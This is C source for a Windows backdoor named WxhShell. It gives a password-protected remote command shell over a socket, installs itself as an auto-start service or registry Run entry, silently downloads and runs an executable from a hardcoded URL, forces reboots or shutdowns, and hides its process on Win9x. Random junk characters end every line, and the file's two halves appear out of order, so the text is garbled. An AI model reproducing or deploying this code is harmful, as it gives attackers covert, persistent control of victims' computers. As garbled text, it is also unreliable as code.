    if(Boot(SHUTDOWN)) #g#[|c.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]P*H,&I`#  
    else { laRn![[  
    closesocket(wsh); Cy\ o{6  
    ExitThread(0); 1lYQR`Uh  
    } :z-?L0C=0  
    break; De ([fC  
    } 9fy[%M  
  // 获取shell  )mH(Hx  
  case 's': { Q_6v3no1  
    CmdShell(wsh); }SFmv},Ij  
    closesocket(wsh); PDpuHHB  
    ExitThread(0); ,`!>.E.  
    break; R$x(3eyx  
  } 1* ?XI  
  // 退出 Gvl,M\c9-  
  case 'x': { &})Zqc3Lqk  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); LfvNO/:,  
    CloseIt(wsh); q*<FfO=eQ  
    break;  p ~pl|  
    } =5O&4G`}  
  // 离开 pS "A{k)i  
  case 'q': { bg2r  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); F?Fxm*Wa/  
    closesocket(wsh); Am<){&XT ]  
    WSACleanup(); z s\N)LyM  
    exit(1); 'soll[J  
    break; .[ s6x5M  
        } =)%~QK {Y  
  } TU1W!=Z  
  } F8J\#PW  
p#N2K{E  
  // 提示信息 f3*SIKi  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xUPg~c0  
} je74As[  
  } sWq@E6,I  
/tJ%gF  
  return; o,qUf  
} &<Fw  
bwK1XlfD.s  
// shell模块句柄 cS>xT cj  
int CmdShell(SOCKET sock) 8aY}b($*ZI  
{ fM3ZoH/  
STARTUPINFO si; 8"ulAx74>  
ZeroMemory(&si,sizeof(si)); =&mdxKoT0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +vYVx<uTQ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #TIlM]5%  
PROCESS_INFORMATION ProcessInfo; /BrbP7  
char cmdline[]="cmd"; E8.1jCL>{"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); p[%B#(]9,  
  return 0; C}71SlN'M  
} Q SvgbjdE  
xgIb4Y%  
// 自身启动模式 >Ft:&N9L{  
int StartFromService(void) v{) *P.E  
{ AQs_(LR  
typedef struct ~V/?/J$  
{ DuRC1@e  
  DWORD ExitStatus; mpzm6I eu  
  DWORD PebBaseAddress; 5r^u7k  
  DWORD AffinityMask; fK4NmdTV  
  DWORD BasePriority; N#^o,/  
  ULONG UniqueProcessId; ~g&Gi)je  
  ULONG InheritedFromUniqueProcessId; ?V})2wwP  
}   PROCESS_BASIC_INFORMATION; xKXD`-|W  
WE&"W$0  
PROCNTQSIP NtQueryInformationProcess; rk `]]  
5xc-MkIRL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \Bn$b2j!%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; B0!W=T\  
;CA7\&L>  
  HANDLE             hProcess; ~ym-Szo  
  PROCESS_BASIC_INFORMATION pbi; ig?Tj4kD  
'In qa;TQz  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #po}Y  
  if(NULL == hInst ) return 0; Cc` )P>L  
Jek)`D  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); UzUt=s!^H  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )%9 P ;/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Zc*gRC  
6E.64+PJw  
  if (!NtQueryInformationProcess) return 0; !Baq4V?KN  
<9Pf] G=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); x2z%J,z@4  
  if(!hProcess) return 0; z*&r@P -  
M-NY&@Nj  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }@jT-t]P  
e[J0+ x#;r  
  CloseHandle(hProcess); H3jb{S b  
#'Lt_Yf!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); QP4`r#,  
if(hProcess==NULL) return 0; qGKQrb,K  
S-)%#  
HMODULE hMod; 2~SjRIpUw  
char procName[255]; /(skIvE|  
unsigned long cbNeeded; }_o!f V  
Q2ky|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); yX;v   
zmh3 Qa(  
  CloseHandle(hProcess); $5a%hK  
GHo=)NTjy  
if(strstr(procName,"services")) return 1; // 以服务启动 '}T6e1#JV  
& l NHNu[  
  return 0; // 注册表启动 +BE_K_56  
} >L>t$1hXM  
7nL3+Pq  
// 主模块 aqAWaO  
int StartWxhshell(LPSTR lpCmdLine) (@1*-4l  
{ kKR Z79"7s  
  SOCKET wsl; 6v}WdK  
BOOL val=TRUE; Xm}~u?$3  
  int port=0; @q]{s+#Xf  
  struct sockaddr_in door; eb>YvC  
Qs.g%  
  if(wscfg.ws_autoins) Install(); _o-D},f*e  
, *A',  
port=atoi(lpCmdLine); *R^ulp[W  
*PJg~F%  
if(port<=0) port=wscfg.ws_port; '@<aS?@!t  
xl~%hwBd  
  WSADATA data; aD:vNX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .OC{,f+  
30v 3C7o=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }$ZcC_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :D'#CoBA  
  door.sin_family = AF_INET; )m Uc !TP  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?E?dg#yk  
  door.sin_port = htons(port); 4^0L2BVcv  
tj_+0J$sw:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { n)7olP0p  
closesocket(wsl); ~"+Fp&[9f  
return 1; jWd 7>1R?  
} . 787+J?  
HV??B :  
  if(listen(wsl,2) == INVALID_SOCKET) { gB\KD{E  
closesocket(wsl); .Qp5wCkM  
return 1; {{?[b^  
} r>hkm53  
  Wxhshell(wsl); <|s9@;(I  
  WSACleanup(); 0 pH qNlb  
bX:ARe O  
return 0; E(e'qL  
0vs9# <&V  
} O0{M3-  
Gv!* Qk4  
// 以NT服务方式启动 XTHy CK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0.+"K}  
{ wPDA_ns~  
DWORD   status = 0; tIgKnKr^)  
  DWORD   specificError = 0xfffffff; %:/_O*~)Yg  
-O2ZrJ!q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9'I I!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 'Dq!o[2y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; n:GK0wu.s  
  serviceStatus.dwWin32ExitCode     = 0; (L?fYSP!  
  serviceStatus.dwServiceSpecificExitCode = 0; K YFumR  
  serviceStatus.dwCheckPoint       = 0; Nt^R~#8hF>  
  serviceStatus.dwWaitHint       = 0; ;(Q4x"?I  
qJj;3{X2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Nw}y_Qf{  
  if (hServiceStatusHandle==0) return; Z,Z34:-  
TE4{W4I  
status = GetLastError(); t)LD-%F  
  if (status!=NO_ERROR) Yw=Ve 0  
{ H'E >QT  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <@}~Fp@  
    serviceStatus.dwCheckPoint       = 0; 8 YAUy\  
    serviceStatus.dwWaitHint       = 0; /lSz8h2  
    serviceStatus.dwWin32ExitCode     = status; hbhh m  
    serviceStatus.dwServiceSpecificExitCode = specificError; ln7{c #lE  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); E ?(  
    return; yVm~5Y&Z  
  } Vh:%e24Z  
xT I&X9P  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0hXI1@8]`  
  serviceStatus.dwCheckPoint       = 0; ;CD.8f]N  
  serviceStatus.dwWaitHint       = 0; ,V3P.ni]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {T Z7>k  
} Y&aFAjj  
.N8AkQ(Ok  
// 处理NT服务事件,比如:启动、停止 Ql> DS~a  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #CoJ S[t  
{ ^WP`;e  
switch(fdwControl) >[=q9k  
{ "P=OpFV  
case SERVICE_CONTROL_STOP: ja}_u}:  
  serviceStatus.dwWin32ExitCode = 0; l;: L0(('  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; etj8M y6=  
  serviceStatus.dwCheckPoint   = 0; QF(.fq8, U  
  serviceStatus.dwWaitHint     = 0; bort2k  
  { 3hr&p{/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |jV>  
  } 0&Q-y&$7  
  return; L,| 60*  
case SERVICE_CONTROL_PAUSE: 0b9K/a%sQv  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; jEsP: H(0^  
  break; *,~d!Fc  
case SERVICE_CONTROL_CONTINUE: d6-a\]gF  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ozF>2`K }  
  break; kt.z,<w5O  
case SERVICE_CONTROL_INTERROGATE: @Hj5ZJ 3  
  break; R+FBCVU&TJ  
}; 7.$0LN/a!Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D\]gIXg  
} `3^ *K/K\  
sPn[FuT>+s  
// 标准应用程序主函数 W~E%Eq3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) mL`,v WL/`  
{ Z9mY*}:U~  
eD/O)X  
// 获取操作系统版本 q?g4**C  
OsIsNt=GetOsVer(); "tB"C6b  
GetModuleFileName(NULL,ExeFile,MAX_PATH); R>U0W{1NO  
9nlfb~ F~P  
  // 从命令行安装 -;cZW.<  
  if(strpbrk(lpCmdLine,"iI")) Install(); cdfJa  
bl NJ  
  // 下载执行文件 ,j^ /~  
if(wscfg.ws_downexe) { An!1>`8r  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Mfe/(tlI  
  WinExec(wscfg.ws_filenam,SW_HIDE); E&P'@'Yk  
} bB@1tp0+  
yB\}e'J^  
if(!OsIsNt) { sL|*0,#K  
// 如果时win9x,隐藏进程并且设置为注册表启动 #z_lBg. K  
HideProc(); T;qP"KWZ  
StartWxhshell(lpCmdLine); #L5H-6nz  
} S/ )P&V%  
else Cqy84!Z<  
  if(StartFromService()) z^+f3-Z  
  // 以服务方式启动 ;75K:_  
  StartServiceCtrlDispatcher(DispatchTable); Y~#m-y  
else E}Q'Wz|k  
  // 普通方式启动 XQ]noaU  
  StartWxhshell(lpCmdLine); ?U.+SQ  
@ofivCc<%  
return 0; A@xa$!4}  
} , f{<  
SYd4 3P A  
|;e K5(|  
Bee`Pp2  
=========================================== Lg Xc}3  
"vI:B}  
UIgs/  
7p*PDoM6`  
}A,9`  
t=o2:p6&  
" _K["qm{X_  
#&<>|m  
#include <stdio.h> q ww*  
#include <string.h> -l)vl<}  
#include <windows.h> a)w *  
#include <winsock2.h> Vc0C@*fVM  
#include <winsvc.h> *P2_l Q=  
#include <urlmon.h> xa#;<8 iV  
?D ?_D,"C  
#pragma comment (lib, "Ws2_32.lib") `L# pN5  
#pragma comment (lib, "urlmon.lib") :b t;DJ@  
?e( y/  
#define MAX_USER   100 // 最大客户端连接数 A) {q 7WI  
#define BUF_SOCK   200 // sock buffer :}(Aq;}X  
#define KEY_BUFF   255 // 输入 buffer .kKU MyW(  
Z./$}tVUG  
#define REBOOT     0   // 重启 VRden>vKN  
#define SHUTDOWN   1   // 关机 Ok63 w7  
mQ(6ahD U  
#define DEF_PORT   5000 // 监听端口 F[am2[/<A  
5B6twn~[  
#define REG_LEN     16   // 注册表键长度 V$wW?+V  
#define SVC_LEN     80   // NT服务名长度 t<=Ru*p  
]mIcK  
// 从dll定义API _mSDz=!Z3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,',  S  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); s4V-brCM$|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); lGoP(ki  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3XykIj1  
b;Nm$`2  
// wxhshell配置信息 WXq=FZ-  
struct WSCFG { P;~`%,+S  
  int ws_port;         // 监听端口 >}~\*Y\8@  
  char ws_passstr[REG_LEN]; // 口令 @QOlo -u  
  int ws_autoins;       // 安装标记, 1=yes 0=no /wAx#[c[  
  char ws_regname[REG_LEN]; // 注册表键名 6g fn5G  
  char ws_svcname[REG_LEN]; // 服务名 P}"=67$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 wPr9N}rf  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 XotiKCk|Aq  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 t)qu@m?FZ)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9j94]w2v  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >T{Gl/? p  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 da[=d*I.  
5:R$xgc  
}; rgo#mTQ_  
5r2A^<)  
// default Wxhshell configuration 1R-1#<a>&  
struct WSCFG wscfg={DEF_PORT, 1`sLbPW  
    "xuhuanlingzhe", @n|Mr/PAj  
    1, hw 5NHZ I'  
    "Wxhshell", R!)3{cjU@  
    "Wxhshell", ,|}}Ml  
            "WxhShell Service", mV>l`&K=  
    "Wrsky Windows CmdShell Service", c/6  
    "Please Input Your Password: ", #}xw *)3  
  1, 7y?aw`Sw:  
  "http://www.wrsky.com/wxhshell.exe", ^5'pJ/BV  
  "Wxhshell.exe" -s3q(SH  
    }; nsA}A~(E  
02 $d  
// 消息定义模块 4 EE7gkM5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; XJZ\ss  
char *msg_ws_prompt="\n\r? for help\n\r#>"; a Fh9B\n  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &xWej2a!  
char *msg_ws_ext="\n\rExit."; d6+$[4w  
char *msg_ws_end="\n\rQuit."; .IU\wN  
char *msg_ws_boot="\n\rReboot..."; L*6R5i>  
char *msg_ws_poff="\n\rShutdown..."; 1a gNwFd~  
char *msg_ws_down="\n\rSave to "; m{gw:69h  
gf ?_tB0C  
char *msg_ws_err="\n\rErr!"; <da-iY\5  
char *msg_ws_ok="\n\rOK!"; +^<s'  
^j!2I&h1  
char ExeFile[MAX_PATH]; P @Jo[J<  
int nUser = 0; RW`j^q,c3  
HANDLE handles[MAX_USER]; eF"k"Ckt'  
int OsIsNt; JT p+&NS  
9,?7mgZ p  
SERVICE_STATUS       serviceStatus; a.z)m} +  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5La' I7q  
\1He9~6  
// 函数声明 XfQK kol  
int Install(void);  ;?G..,  
int Uninstall(void); ,W|cyQ  
int DownloadFile(char *sURL, SOCKET wsh); ew.jsa`TrW  
int Boot(int flag); ?CD[jX}!  
void HideProc(void); ^)E# c  
int GetOsVer(void); ^]NFr*'!  
int Wxhshell(SOCKET wsl); 4aiI&,  
void TalkWithClient(void *cs); `%/w0,0  
int CmdShell(SOCKET sock); 2EH0d6nt  
int StartFromService(void); $(]E$ek  
int StartWxhshell(LPSTR lpCmdLine); N(l  
n_{az{~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "x0/i?pqa  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); t2(vtxrt  
:Vy*MPS5  
// 数据结构和表定义 yNhRh>l  
SERVICE_TABLE_ENTRY DispatchTable[] = }60/5HNr  
{ .(7m[-iF!  
{wscfg.ws_svcname, NTServiceMain}, hCb2<_3CR  
{NULL, NULL} (DkfLadB  
}; c2u*<x  
]1 jhy2j  
// 自我安装 W1&"dT@  
int Install(void) ||))gI`3a  
{ sDB,+1"Y$  
  char svExeFile[MAX_PATH]; z22:O"UHa  
  HKEY key; sp&gw XPG  
  strcpy(svExeFile,ExeFile); DLN zH  
F_Gc_eT  
// 如果是win9x系统,修改注册表设为自启动 @1A.$:  
if(!OsIsNt) { P  Ij  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &3OV|ly]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .^6yCs5~`  
  RegCloseKey(key); 2;K2|G7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )b1X6w[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8O_yZ ~Z4  
  RegCloseKey(key); 1H?I?IT30  
  return 0; 26;Gt8  
    } F5y&"Y_  
  } 7&dK_x,a  
} Ciy%7_~\  
else { =ea.+  
\mL]xE-  
// 如果是NT以上系统,安装为系统服务 Vg(M ^2L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~9PZ/( '  
if (schSCManager!=0) 6OB3%R'p  
{ l.P;85/+  
  SC_HANDLE schService = CreateService z8XWp[K  
  ( iuA_ Jr  
  schSCManager, .%!^L#g  
  wscfg.ws_svcname, +4Fw13ADE  
  wscfg.ws_svcdisp, 6a<zZO`Z6+  
  SERVICE_ALL_ACCESS, ~6K.5t7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~uV(/?o%  
  SERVICE_AUTO_START, JLt%G^W >  
  SERVICE_ERROR_NORMAL, Z6-ZAS(>m  
  svExeFile, ^ FM  
  NULL, :G#+ 5 }  
  NULL, _Ie:!q  
  NULL, UmArl)R/  
  NULL, 7%W1M@  
  NULL %E"v@  
  ); ~ToU._  
  if (schService!=0) -L<FVB  
  { 3 /PvH E{R  
  CloseServiceHandle(schService); )TEm1\  
  CloseServiceHandle(schSCManager); 'tDUPm38  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); WEJ-K<A(  
  strcat(svExeFile,wscfg.ws_svcname); MMUlA$*t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1{wbC)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); J7qTE8W=  
  RegCloseKey(key); IT)3Et@Y  
  return 0; *H i}FI  
    } &YcOmI/MM  
  } r6R@"1/  
  CloseServiceHandle(schSCManager); zWv0y8[d  
} hsT&c|  
} O;5lF  
CUHT5J*sY  
return 1; Yg,;l-1  
} 9UVT]acq  
oam;hmw  
// 自我卸载 V#b=mp  
int Uninstall(void) =R~zD4{"  
{ #vhN$H:&q  
  HKEY key; #0hqfs  
GKjtX?~1  
if(!OsIsNt) { hSR+7qN<e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7(oA(l1V  
  RegDeleteValue(key,wscfg.ws_regname); sei2\l8q  
  RegCloseKey(key); ~**x_ v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N>,`TsUwW  
  RegDeleteValue(key,wscfg.ws_regname); vf$IF|  
  RegCloseKey(key); kY!zBk  
  return 0; ~;a \S3  
  } k& +gkJm  
} uo J0wG.  
} 8e3eQ  
else { zA8@'`Id  
EFljUT?&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _ilitwRN3  
if (schSCManager!=0) (ie%zrhS  
{ 1YJ?Y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ""XAUxo  
  if (schService!=0) gBi3^GxjM?  
  { J{-`&I'b  
  if(DeleteService(schService)!=0) { E5@=LS  
  CloseServiceHandle(schService); xVbRCu#Z  
  CloseServiceHandle(schSCManager); *i^$xjOa  
  return 0; 16Jq*hKU  
  } iB"ji4[z  
  CloseServiceHandle(schService); -{k8^o7$  
  } d1/9 A-{  
  CloseServiceHandle(schSCManager); }8#Ed;%K  
} FRZ]E)9Z]b  
} Mmu#hb|W  
/\b* oPWJ  
return 1; ]W14'Z  
} N`,\1hHMT  
t@9-LYbL  
// 从指定url下载文件 X,_K )f  
int DownloadFile(char *sURL, SOCKET wsh) b<~-s sL7a  
{ !?0C(VL(:  
  HRESULT hr; 5;HGS{`  
char seps[]= "/"; Fd\uTxykp  
char *token; ){w{#  
char *file; mV`R'*1UC  
char myURL[MAX_PATH]; k|?[EWIi^  
char myFILE[MAX_PATH]; 7~XA92  
&C+2p  
strcpy(myURL,sURL); -43>?m/a  
  token=strtok(myURL,seps); 1x;@BV  
  while(token!=NULL) m^!j)\sM5  
  { <tF q^qB  
    file=token; 9!Q ZuZY  
  token=strtok(NULL,seps); b7dsi|Yo  
  } v$Fz^<Na  
T?m@`"L,  
GetCurrentDirectory(MAX_PATH,myFILE); ,^8':X"A{!  
strcat(myFILE, "\\");  P>iZ gv  
strcat(myFILE, file); <I34@;R c  
  send(wsh,myFILE,strlen(myFILE),0); W1X3ArP]m8  
send(wsh,"...",3,0); _$c o Y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); qX5>[qf-  
  if(hr==S_OK) x4c|/}\)*  
return 0; ;9mRumLG"  
else /X.zt `  
return 1; = NZgbl  
go AV+V7  
} ZH;4e<gg  
%K|f,w=m  
// 系统电源模块 {c9 f v H  
int Boot(int flag) (KyOo,a  
{ By8SRWs  
  HANDLE hToken; Slg *[r#  
  TOKEN_PRIVILEGES tkp; 2K};-}eW  
_MTZuhY  
  if(OsIsNt) { VtI`Qc jc  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0H>gMXWE]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $Bz};@  
    tkp.PrivilegeCount = 1; 7Qd$@  m  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7:?\1 a  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~9FL]qo  
if(flag==REBOOT) { Hq:: F?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4vWiOcJF!O  
  return 0; HP]5"ziA  
} -#9et30  
else { NT 5=%X]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +S0aA Wal  
  return 0; }WIkNG4{Z  
} {Z8GG  
  } #W)m({}  
  else { 4E5;wH  
if(flag==REBOOT) { '[liZCg  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) U&BCd$  
  return 0; GxD`M2  
} L5x;# \#p  
else { W%>T{}4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) N Nk  
  return 0; wW*7  
} @ !su7  
} ) dk|S\  
r'{N_|:vv  
return 1; B_ict)}ld  
} )1#/@cU  
lH=|Qu  
// win9x进程隐藏模块 VBi gUK4  
void HideProc(void) 3f^Pr  
{ |D-[M_T5  
|E?r+]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /_m )D;!y  
  if ( hKernel != NULL ) 1!.-/  
  { R`<2DC>h9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); N gF7$@S  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); q( ~rk  
    FreeLibrary(hKernel); J/e]  
  } kHhp;<  
[yN+(^ i  
return; q,)V0Ffe[|  
} 7d%x7!E   
\7b, Mz!  
// 获取操作系统版本 1Mp-)-e  
int GetOsVer(void) KHZ[drb6$  
{ 8&8!(\xv  
  OSVERSIONINFO winfo; ~;CNWJtcf(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^wBlQmW7J  
  GetVersionEx(&winfo); /lUfxc4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _x(hlHFk  
  return 1; ZAfuW^r  
  else RKzty=j4  
  return 0; %:`v.AG  
} 7oF3^K'S  
7P3pjgh  
// 客户端句柄模块 50 Gr\  
int Wxhshell(SOCKET wsl) kll!tT-N-  
{ td7(444]  
  SOCKET wsh; AA[1[  
  struct sockaddr_in client; 0yC~"u[N Y  
  DWORD myID; N2s"$Ttq  
lfDd%.:q4S  
  while(nUser<MAX_USER) G?$o+Y'F  
{ X,VI5$  
  int nSize=sizeof(client); bdstxjJ`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); bgBvzV&'8  
  if(wsh==INVALID_SOCKET) return 1; d lfjx  
<rgK}&q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >&;J/ME  
if(handles[nUser]==0) 69r%b7#  
  closesocket(wsh); ?:9y !Q=  
else z9IW&f~~P  
  nUser++; ^AU-hVj  
  } J8S$YRZ_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &j:prc[W  
1 jB0gNe  
  return 0; ]dGH i \  
} udUc&pX  
5r 4~vK  
// 关闭 socket 3v_j*wy  
void CloseIt(SOCKET wsh) eGQ4aQhi  
{ /~'C!so[v  
closesocket(wsh); Hb*Z_s  
nUser--; "W6cQsi  
ExitThread(0); :a)RMp+^0  
} ^V;r  
Q +l{> sL  
// 客户端请求句柄 ZVH 9je  
void TalkWithClient(void *cs) wry`2_c  
{ i/_rz.c~3  
l=XZBe*[g'  
  SOCKET wsh=(SOCKET)cs; Y<W9LF  
  char pwd[SVC_LEN]; YM;ro5_KF  
  char cmd[KEY_BUFF]; ? 0X$ox  
char chr[1]; Ux',ma1JK  
int i,j; JzN "o'  
p9i7<X2&  
  while (nUser < MAX_USER) { r&R~a9+)  
[7.Num_L  
if(wscfg.ws_passstr) { .CEC g*f  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qfT9g>EF  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cG0)F%?X?  
  //ZeroMemory(pwd,KEY_BUFF); aK6dy\  
      i=0; U>!TM##1QD  
  while(i<SVC_LEN) { Cw:|(`9  
"Fmq$.$%  
  // 设置超时  =AaF$R  
  fd_set FdRead; yj_/:eX  
  struct timeval TimeOut; SPb`Q"  
  FD_ZERO(&FdRead); FYik}wH]  
  FD_SET(wsh,&FdRead); y'>9' /&  
  TimeOut.tv_sec=8; Z*3RI5)dx  
  TimeOut.tv_usec=0; Oi|cTZ@A-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); E^n!h06~G  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]E"J^mflGK  
TVvE0y(9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Oq<3&*  
  pwd=chr[0]; _gK}Gi?|  
  if(chr[0]==0xd || chr[0]==0xa) { k2->Z);X  
  pwd=0; !Usmm8!K  
  break; ?@x$ h  
  } rJf{YUZe  
  i++; >j]Gz-wC  
    } .&]3wB~  
>N! Xey  
  // 如果是非法用户,关闭 socket A1B[5a*o!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); FB?V<x  
} :twp95{R1  
z I9jxwXU  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 'Sd+CXS  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c9H6\&  
M3KK^YRN  
while(1) { ,>(X}Q  
0*P-/)o x  
  ZeroMemory(cmd,KEY_BUFF); a>#$&&oQ0  
~,F]~|U7l  
      // 自动支持客户端 telnet标准   gYh o$E  
  j=0; _G4 U  
  while(j<KEY_BUFF) { Q!-"5P X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [Ti ' X#  
  cmd[j]=chr[0]; :k_)Bh?+  
  if(chr[0]==0xa || chr[0]==0xd) { d/TFx  
  cmd[j]=0; b't6ekkN  
  break; Vx[Q=raS  
  } A Ef@o+A  
  j++; l8Yr]oNkz  
    } o|84yT!~  
]EN&EA"<  
  // 下载文件 CO ZfR~}  
  if(strstr(cmd,"http://")) { [4;_8-[Nv  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); y4n~gTo(?  
  if(DownloadFile(cmd,wsh)) &j'k9C2p  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); jfvlkE-uK  
  else ):+^893)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [=-,i#4  
  } (ux9"r^g;x  
  else { o=5hG9dj  
o+^e+ptc  
    switch(cmd[0]) { iRW5*-66f  
